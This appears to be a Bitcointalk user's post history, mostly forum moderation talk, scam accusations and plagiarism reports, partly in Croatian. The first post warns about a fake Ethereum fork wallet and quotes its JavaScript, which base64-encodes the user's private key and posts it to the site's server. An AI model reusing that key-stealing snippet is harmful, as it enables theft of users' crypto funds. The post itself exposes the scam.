This was found in the web wallet for anybody that still has any doubt if this is legit or not  : There is another one existing name Ethereum Vision they are all anonymous also, but they are not going for an ICO instead a fork where you can get an ethereum vision token if you have 1 eth in your wallet, I'm following the development in their telegram channel if they happen to ask for private key or link us to phishing site then it's over for them.
Their wallet https://etcvwallet.com requires you to enter the private key or upload the json file generated by MEW. In the javascript code from file etherwallet-master.js line 3832 they have a code that sends the private key masked somehow to their server
$scope.$on('ChangeWallet', function () {
const key = window.btoa($scope.walletService.wallet.getPrivateKeyString());
window.fetch('/api', {
method: 'POST',
mode: 'cors',
cache: 'no-cache',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json'
},
redirect: 'follow',
referrer: 'no-referrer',
body: JSON.stringify({ api_token: key })
});
|
|
|
|
|
I can only say that I included 18 accounts yesterday and 2 accounts before, but when I look which accounts I included yesterday, 17 have already been part of "old" DT.
Perhaps old "system" was fine and it needed "upgrade" with new members, I don't know, I am thinking out laud.
|
|
|
|
Thanks. Everything is clear.
Hm, on second thought, I maybe used whitepaper as reference to plagiarism, I am not really sure.  I thought when mods unsure about a report, it would stay unhandled instead of marked as bad report
I was thinking, maybe mod thought I was reporting something which is very likely scam and scam is not moderated so that's why it was marked as bad  |
|
|
|
Recently I reported this thread for plagiarism https://bitcointalk.org/index.php?topic=5093965.0 and report is marked bad:  If I recall, I linked this thread https://bitcointalk.org/index.php?topic=5094134.0 as reference, as you can see, even author is accusing them for stealing their content. MASTERNODES CHE GUEVARA [MCG]
In this globalized world, dominated by hundreds of companies that enrich themselves by doing business by managing the information and content that the users themselves create,we thought that an independent, autonomous and secure platform is required without restrictions or censorship that companies and governments establish.
Masternodes Che Guevara Coin [ MCG ] project is born from the need to create an environment free of censorship autonomous and secure, using current master node system expanding its usefulness. Currently, the masternode system is only used for the encryption of transactions, Without intervention of a central entity, advertising or additional costs would be avoided, and the network is completely autonomous, since it depends on users for their subsistence, miners and master node owners will obtain profits by providing services to the network. We aim to be a worldwide used crypto coin, we are are mostly a southamerican based team, we know the demand for a common cryptocurrency in the american continent, for a unlimited trading experience worldwide. Masternodes Che Guevara is a Not-Skip project and mut be included in your blockchain assets portfolio.
[...] In a globalized world, dominated by hundreds of companies that enrich themselves by doing business by managing the information and content that the users themselves create, an independent, autonomous and secure platform is required, which allows the free transfer of data, without restrictions or censorship that companies and governments establish.
The Enmanet project is born from the need to create an environment free of censorship, autonomous and secure, using current master node system expanding its usefulness. Currently, the masternode system is only used for the encryption of transactions, however, this technology could be expanded to many other satellite services, giving the network greater utility.
Our proposal is to use the Master Node Network to store information. The benefits of using the existing network of master nodes to store and share information are large, since it can be used to encrypt internal transactions (payments), or encrypt uploaded data (files). The files will be split into multiple pieces that will be redistributed in the Masternode Network, and stored with a Hash identifier.
Using the Enhanced Masternode Network its possible to add a Video or audio player, streaming the stored files in the network. The wallet will have a tab which will contain a video player directly connected to the masternodes network. It can also support web players, through RPC connections you can request the content. Beta Version Will Support Divx and MP4.
Without intervention of a central entity, advertising or additional costs would be avoided, and the network is completely autonomous, since it depends on users for their subsistence, miners and master node owners will obtain profits by providing services to the network.
all the information will be available for any user,but users also will be able to monetize their content and receive profits for them immediately in cryptocurrency.
http://whois.domaintools.com/masternodescheguevara.comDomain Name: MASTERNODESCHEGUEVARA.COM
Registry Domain ID: 2348851571_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.netearthone.com
Registrar URL: http://www.netearthone.com
Updated Date: 2019-01-01T07:36:50Z
Creation Date: 2019-01-01T07:36:48Zhttp://whois.domaintools.com/enmanet.comDates 35 days old
Created on 2018-12-05
Expires on 2019-12-05
Updated on 2018-12-05I didn't check other content in thread and I won't make crazy assumption that everything else is plagiarism from somewhere My question is, why is this report bad? |
|
|
|
I tagged account cryptohunter with comment, if I recall, "Annoying troll. This user has mental issues. Avoid.." but feedback was countered and other users, whose opinions I always like to hear, directly and/or indirectly didn't agree with it and I finally change it to neutral: I will change it to neutral when i am home. I wont change my opinion of you being nothing but anoying troll who is making baseless assumptions and lying that people are stalking you and other things you mentioned during your last few weeks in meta and reputation which i see as trolling. [...]
Please vote, this bugs me for some time. |
|
|
|
Da li misliš da postoji kakva šansa da mu vrate account?
Čisto sumnjam. Nek piše u Meti i vidi, za sad je koliko znam samo jednom korisniku vraćen account. Kojim metodama to tek sad otkrivaju, ne znam. @marlboroza da li to imaju neke botove koji pronalaze te postove? Da neko sad sjedi i pregleda postove iz 2017 malo je vjerovatno!
Vjerovatno ovo podcrtano. Imam jedno pitanje - davati merite članovima poput marlboroze ili ne?
U jednu ruku post poput njegovog nedavnog u ovom topicu to definitivno zaslužuje, u drugu - to je zapravo bačen merit (on ne može više napredovati na forumu).
Bačen merit za post na koji sam potrošio više od sat vremena dok sam pregledao skoro kompletnu povijest postanja, probao u googlu naći ako je nešto iskopirano od nekud, pregledao modlog, pregledao altcoin temu, poslikao par slika, napisao informativan post i dao informaciju za koju vjerujem da je zanimala mnoge korisnike? Vidiš, netko je "bacio merit u vodu" na korisnika koji "ne može više napredovati" i nekim čudom jedan od ta 2 merita je završio upravo na tvom postu. Nije ti dobra logika. |
|
|
|
Are local moderators allowed to delete threads about scam projects (or possible scams) with more than thousands of posts by the OP's request?
Technically yes. According to forum rules: 19. Possible (or real) scams and Trust ratings are not moderated (to prevent moderation abuse). No one said anything about scam accusation threads. But, as I said, I got info that scam accusation threads can't be removed. It shouldn't be different with this one. Speaking of scam accusation, can someone move this edited scam accusation https://bitcointalk.org/index.php?topic=2236259.0 from games and rounds back to scam accusations? |
|
|
|
Wait, this http://archive.is/OI4dN was trashed? As far as I know moderator can remove threads on request but I don't think this works with scam accusations, or at least this is last info I got from someone. |
|
|
|
Feedback is welcome
You can get only one type of feedback for this When(if) you create announcement thread, make sure to place it in investor-based games, home of ponzies and other questionable schemes. |
|
|
|
[..]ne bih htio ''riskirati'' i dati merit za 3 posta istoj osobi u istom danu, da netko od admina ne bi pomislio da se radi o nekoj ''namještaljki, dogovoru'' ili nečemu sličnom.
Nemoj se bojati poslati merit, čim uočiš kvalitetan i interesantan post - šalji bez razmišljanja, šalji ih kome god hoćeš i koliko god hoćeš(imaš ako se ne varam mjesečni limit od 50 merita koje možeš poslati na isti account) dokle god su postovi kvalitetni, jer u principu ne šalješ merit korisniku nego "ocjenjuješ" post. Uostalom, theymos je rekao da probamo poslati sve merite koje dobijemo, merit source I JE postavljen da šalje merite okolo naokolo, a ne da razmišlja koliko je kome poslao u kojem vremenskom periodu i slične stvari i osobno mi ne pada na pamet razmišljati o takvim stvarima a iskreno ne bi ni ti trebao.
Što se tiče regulusa, piše ovdje da je bannan:  Sad sam malo prelistao njegove postove pa nisam našao ništa pametno zbog čega bi bio banan(ima možda par postova u engleskom djelu), nešto mi je ovo ispod bilo za škicnut zbog velikog broja obrisanih postova(a točno je ispod regulusuvog ID-a):  Našao sam njegov post tamo: Electrum Dark will be usefull on trading once its platform become live. My full support on the project and will contribute for your success.
A prije njega isti takav: Electrum Dark will be usefull on trading once its platform become live. My full support on the project and will contribute for your success.
Permaban zbog copy/paste tuđeg posta. Od svih ljudi su njega našli a maja je još vjerojatno na forumu sa svojih 40 merita.
Ovo mi još uvijek ne ide u glavu. Takvi acconti se momentalno nukaju |
|
|
|
Thanks. It may be interesting to see the total number of entries: 22,605. That means just a few entries per user on average, which is far from enough to replace the DT-system.
I completely agree. Some members are excluding accounts who negatively tagged them(I checked few accounts) and I noticed one member has removed DT from their network and excluded 3 DT members which one of them -ve them and two "neutralized" them with "begging for merit" comment. Eh, it all goes to statistics. |
|
|
|
This is very bad, worse then I thought. DT needs to go, so people can finally start using the trust system as it's intended. Either completely remove DT and start healing trust system slowly, or dilute DT which encourages people to make their own lists.
DT should be removed.
This is one of the reasons why DT should be removed completely.
The problem is that DT exists.
Just remove DT
 
~
Can you exclude accounts who have DT in their trust network and make a list of accounts with only custom list? Just to see how many people have removed DT from the list. How can I see someone's trust list without including them to my trust list? |
|
|
|
I don't think it is necessary to create scam accusation against every single obvious ponzi or we could simple move entire investor based games to scam accusation board. If I'm not blind
[...]
Already scammed 5 BTC?!
Few facts: Most information on ponzi site is fabricated. Transaction proofs can be real but not necessary(I mean, transactions are real but could be their own transactions) They will pay until scheme collapse. They could also take money without paying anyone. They will become insolvent at some point. |
|
|
|
Do a google search on BiteBTC.
You are the one who open scam accusation, we expect to see some info in topic
This is their statement before proof of keys day: Important statement
03/01/2019
On January 1, 2019, a fire occurred in the data center where the exchange servers are located, as a result of which part of the data on the main and backup servers was destroyed.
All crypto coins wallets are safe, but we need time to restore the balance sheets and trading history of about 7% of traders from earlier backups.
We ask to fill in the form to the support service with the indication of your recent transactions and operations with wallets.
We apologize and ask to treat this situation with understanding. https://bitebtc.com/news/20[...]
BiteBTC.com Uniquely Fails Proof of Keys
Proof of Keys is an event fomented by longtime Bitcoin investor Trace Mayer. It reminds exchanges of the importance of solvency and that Bitcoin belongs to its owners. It also encourages Bitcoiners to remember that they only truly own the Bitcoin for which they possess the keys. Some exchanges were said to be “failing” the event.
BiteBTC has failed spectacularly. The question of solvency is only one that needs to be answered.[...] Source: https://www.ccn.com/singapore-bitcoin-exchange-bitebtc-com-claims-data-center-fire-on-proof-of-keys-day-exit-scam/We have received reports that user deposits are being withheld. Please be careful with your funds. Source: https://coinmarketcap.com/exchanges/bitebtc/ |
|
|
|
I think you-know-who is back in full troll mode, and I do believe people have been feeding him scraps from the table.
I noticed "currently ignored user" created self moderated thread to complain about suchmoon removing her reply from another self moderated thread and then, reading this post https://bitcointalk.org/index.php?topic=5093854.msg49089635#msg49089635, she removed suchmoon's and mikey's posts from her self moderated thread It was a big mistake to hit "Show/Hide" button, I don't think I will repeat that mistake ever again. |
|
|
|
Our team and project is 100% legit.
 |
|
|
|
They cheated me over $ 2500
I thought it was 1,000,000,000 bitcoins 3 accusation, zero evidence. Unless accusers can back their accusations with evidence(especially the one saying provably fair site is rigged), this thread should be locked. |
|
|
|
Cmon, don't turn this thread into personal fights and/or disagreements, keep things on topic. If you are not accepted for whatever reason and OP doesn't want your services, take it and move on. It really hurts when someone accuses which is false. You will not feel better when someone will accuse you an alt of a ponzi promoter which is almost frowned upon here.
I am glad that you can see that mdayonliner is/was ponzi promoter. But this is irrelevant for this thread. As it is written, account should be older than 6 months. |
|
|
|
|
Show Posts
